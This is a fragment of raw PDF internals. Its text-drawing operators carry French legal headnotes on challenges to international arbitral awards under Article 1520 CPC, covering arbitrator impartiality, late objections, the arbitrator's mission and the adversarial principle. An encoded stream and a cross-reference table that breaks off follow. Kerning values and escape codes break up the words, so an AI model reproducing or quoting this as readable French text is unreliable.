0.379 Tw T* (2\260\))Tj /Span<>> BDC ( )Tj EMC 1.863 0 Td [(Ar)10(t)37(.)55( 1520-2\260 CPC.)55( \227 )55(Arbitre.)55( \227 Imp)55(ar)10(tialit\351 et ind\351pend)18(ance.)55( )]TJ 0.607 Tw -1.863 -1.075 Td [(\227 Recev)74(abilit\351.)55( \227 Obliga)54(tion de soulever le mo)35(yen d)18(ans le )]TJ 0.564 Tw T* [(d\351lai fix\351 p)55(ar le r\350glement d\222arbitra)18(ge.)55( \227 Renoncia)54(tion \340 se )]TJ 0.787 Tw T* [(pr\351v)74(aloir d)37(u grief )25(tir\351 d)37(u d\351f)35(a)37(ut d\222ind\351pend)18(ance.)55( \227 Grief )]TJ 0.453 Tw T* [(irrecev)74(able.)55( \227 3\260\) )55(Ar)10(t)37(.)55( 1520-3\260 CPC.)55( \227 Mission de l)95(\222arbitre.)55( \227 )]TJ 0.813 Tw T* [(All\351ga)54(tion de refus d\222applic)18(a)54(tion d)37(u dr)6(oit d\351sign\351 p)55(ar la )]TJ 0.246 Tw T* [(cla)37(use.)55( \227 Grief non fond\351.)55( \227 4\260\) )55(Ar)10(t)37(.)55( 1520-4\260 CPC.)55( \227 Principe de )]TJ 0.671 Tw T* [(la contradiction)25(.)55( \227 )55(All\351ga)54(tion d\222interr)6(oga)54(toires d\351s\351quilibr\351s)24(.)55( )]TJ 0.515 Tw T* [(\227 )55(All\351ga)54(tion de pr)6(ononc\351 de pr)6(opos d\351sobligeants)24(.)55( \227 Nombre )]TJ 0.075 Tw T* [(d\351s\351quilibr\351 des )25(a)80(v)6(oc)18(a)54(ts des deux p)55(ar)10(ties)24(.)55( \227 Rejet d)37(u grief)92(.)]TJ 0.497 Tw -2.126 -1.809 Td [(Arbitre.)55( \227 )55(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Imp)55(ar)10(tialit\351 et ind\351pend)18(ance.)55( )]TJ 0.607 Tw 2.126 -1.075 Td [(\227 Recev)74(abilit\351.)55( \227 Obliga)54(tion de soulever le mo)35(yen d)18(ans le )]TJ 0.564 Tw T* [(d\351lai fix\351 p)55(ar le r\350glement d\222arbitra)18(ge.)55( \227 Renoncia)54(tion \340 se )]TJ 0.732 Tw T* [(pr\351v)74(aloir d)37(u grief )25(tir\351 d)37(u d\351f)35(a)37(ut d\222ind\351pend)18(ance.)55( \227 Griefs )]TJ 0.677 Tw T* [(irrecev)74(ables)24(.)55( \227 Mission de l)95(\222arbitre.)55( \227 )55(All\351ga)54(tion de refus )]TJ 0.338 Tw T* [(d\222applic)18(a)54(tion d)37(u dr)6(oit d\351sign\351 p)55(ar la cla)37(use.)55( \227 Grief non fond\351.)55( )]TJ 0.488 Tw T* [(\227 Principe de la contradiction)25(.)55( \227 )55(All\351ga)54(tion d\222interr)6(oga)54(toires )]TJ 0.03 Tc 1.326 Tw T* [(d\351s\351quilibr\351s)24(.)55( \227 )55(All\351ga)54(tion de pr)6(ononc\351 de pr)6(opos)30( )]TJ 0 Tc 0.785 Tw T* [(d\351sobligeants)24(.)55( )1(\227 )1(Nombre )1(d\351s\351quilibr\351 )1(des )25(a)80(v)6(oc)18(a)54(ts )1(des )1(deux )]TJ 0.075 Tw T* [(p)55(ar)10(ties)24(.)55( \227 Rejet d)37(u grief)92(.)]TJ 0.559 Tw -2.126 -1.809 Td [(Cla)37(use compr)6(omissoire.)55( \227 )55(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Extension)25(.)55( \227 )]TJ 1.099 Tw 2.126 -1.075 Td [(Convention-c)18(adre.)55( \227 )55(T)55(ermes de la cla)37(use compr)6(omissoire )]TJ ET endstream endobj 69 0 obj <>stream 8;Z\6?#kZR#im[bg\[UslVq:9(ug28f9peOS/?`7$S87ACTm\2KD8u(3TbYE9lRc( >DnrM&"8p=gblkJKOH;@4@1RB\olKP=0GWmsp>/p:-5;1$bkadt"[Qu[$ l!\f]jh()/NgY\&s82LI!,*:^GQ~> endstream endobj 12 0 obj <> endobj 78 0 obj <> endobj xref 0 79 0000000000 65535 f 0000000016 00000 n 0000000130 00000 n 0000108823 00000 n 0000000000 00000 f 0000119823 00000 n 0000121017 00000 n 0000123411 00000 n 0000122213 00000 n 0000124607 00000 n 0000125807 00000 n 0000108787 00000 n 0000339721 00000 n 0000108883 00000 n 0000108977 00000 n 0000297276 00000 n 0000297627 00000 n 0000297967 00000 n 0000298318 00000 n 0000298669 00000 n 0000109099 00000 n 0000109461 00000 n 0000109823 00000 n 0000110185 00000 n 0000110547 00000 n 0000110909 00000 n 0000111271 00000 n 00001